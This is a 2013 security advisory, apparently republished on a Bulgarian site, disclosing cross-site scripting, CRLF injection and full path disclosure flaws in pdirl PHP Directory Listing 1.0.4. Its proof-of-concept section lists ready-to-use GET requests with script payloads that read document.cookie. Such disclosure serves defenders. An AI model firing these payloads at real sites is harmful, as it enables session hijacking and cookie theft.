Document Title:
pdirl PHP Directory Listing 1.0.4 - Cross Site Scripting Web Vulnerabilities

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
pdirl (PHPDirListing) is a tiny directory listing program. It is meant to be better looking and more useful than the 
directory listings produced by Apache. I didn`t want to reinvent the wheel so I looked for an existing PHP script and 
I ve found PHPDL by Greg Johnson, I added some features to it. (1.0.x is no longer based on PHPDL.)

(Copy of the Vendor Homepage: ) 

Abstract Advisory Information:
An independent Vulnerability Laboratory Researcher discovered multiple web vulnerabilities in the pdirl PHP Listing v1.0.4 web-application.

Vulnerability Disclosure Timeline:
2013-11-01:    Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Greg Johnson
Product: pdirl PHP Listing - Web Application 1.0.4

Exploitation Technique:

Severity Level:

Technical Details & Description:
Multiple client-side cross site scripting vulnerabilities are detected in the official pdirl PHP Directory Listing web-application.
The vulnerability allows remote attackers to manipulate via GET method web-application to browser requests (client-side).

The client-side cross site scripting web vulnerability is located in the vulnerable index.php file and the id path value.
Remote attackers can manipulate the `index.php` file GET method request with the vulnerable ./pdirl path value to compromise 
client-side web application context.

Successful exploitation of the client-side cross site scripting web vulnerability results in session hijacking, client-side 
phishing, client-side unauthorized external redirects and client-side manipulation of the contact formular module context.

Vulnerable Module(s):
				[+] .pdirl

Vulnerable File(s):
				[+] index.php

Vulnerable Path:
				[+] ../icons/
				[+] ../icons/default
				[+] ../template/
				[+] ../template/default
				[+] ../.pdirl/templates

Proof of Concept (PoC):
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without privileged web application user 
account but with low user interaction. For demonstration or to reproduce ...

PoC: CS Cross Site Scripting 

GET /[PATH]/?"onmouseover='prompt(7331)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/icons/?</title>1<ScRiPt>prompt(document.cookie)</ScRiPt> HTTP/1.1
GET /[PATH]/.pdirl/icons/default/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/templates/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/templates/default/?</title>1<ScRiPt>prompt(document.cookie)</ScRiPt> HTTP/1.1
GET /[PATH]/index.php/%22onmouseover%3d'prompt(document.cookie)'bad%3d%22> HTTP/1.1
GET /[PATH]/index.php?directory=.pdirl/templates/%22%20onmouseover%3dprompt(7331)%20bad%3d%22 HTTP/1.1

PoC: CRLF injection/HTTP Response Splitting
GET /[PATH]/index.php?directory=%0d%0a%20[CSRF:FORM:INJECT!]&sortkey=name

PoC: Full Path Disclosure Links
GET /[PATH]/index.php?directory='"\'\");|]*{%0d%0a<%00>%bf%27'&sortkey=name&sortorder=SORT_DESC HTTP/1.1
GET /[PATH]/index.php?directory='"\'\");|]*{%0d%0a<%00>%bf%27'&gosearch=Search... HTTP/1.1
GET /[PATH]/index.php?directory=./&gosearch='"\'\");|]*{%0d%0a<%00>%bf%27' HTTP/1.1
GET /[PATH]/index.php?directory=./?directory=./&search=..%c0%af HTTP/1.1

Security Risk:
The security risk of the client-side cross site scripting web vulnerabilities are estimated as medium.

The security risk of the client-side cross site request forgery web vulnerability is estimated as medium(-).

The security risk of the full path disclosure issue is estimated as low.

Credits & Authors:
lincoln.dll ( []

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:   	-			       -
Contact: 	- 	       -
Section: 	- 		       -
Social:!/vuln_lab 		- 	       -
Feeds:	-   -

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ( or to get a permission.

				Copyright � 2013 | Vulnerability Laboratory [Evolution Security]


Rate this post
Брой прочитания на тази страница: 916
pdirl PHP Directory Listing 1.0.4 – Cross Site Scripting Web Vulnerabilities

Вашият коментар

Вашият имейл адрес няма да бъде публикуван. Задължителните полета са отбелязани с *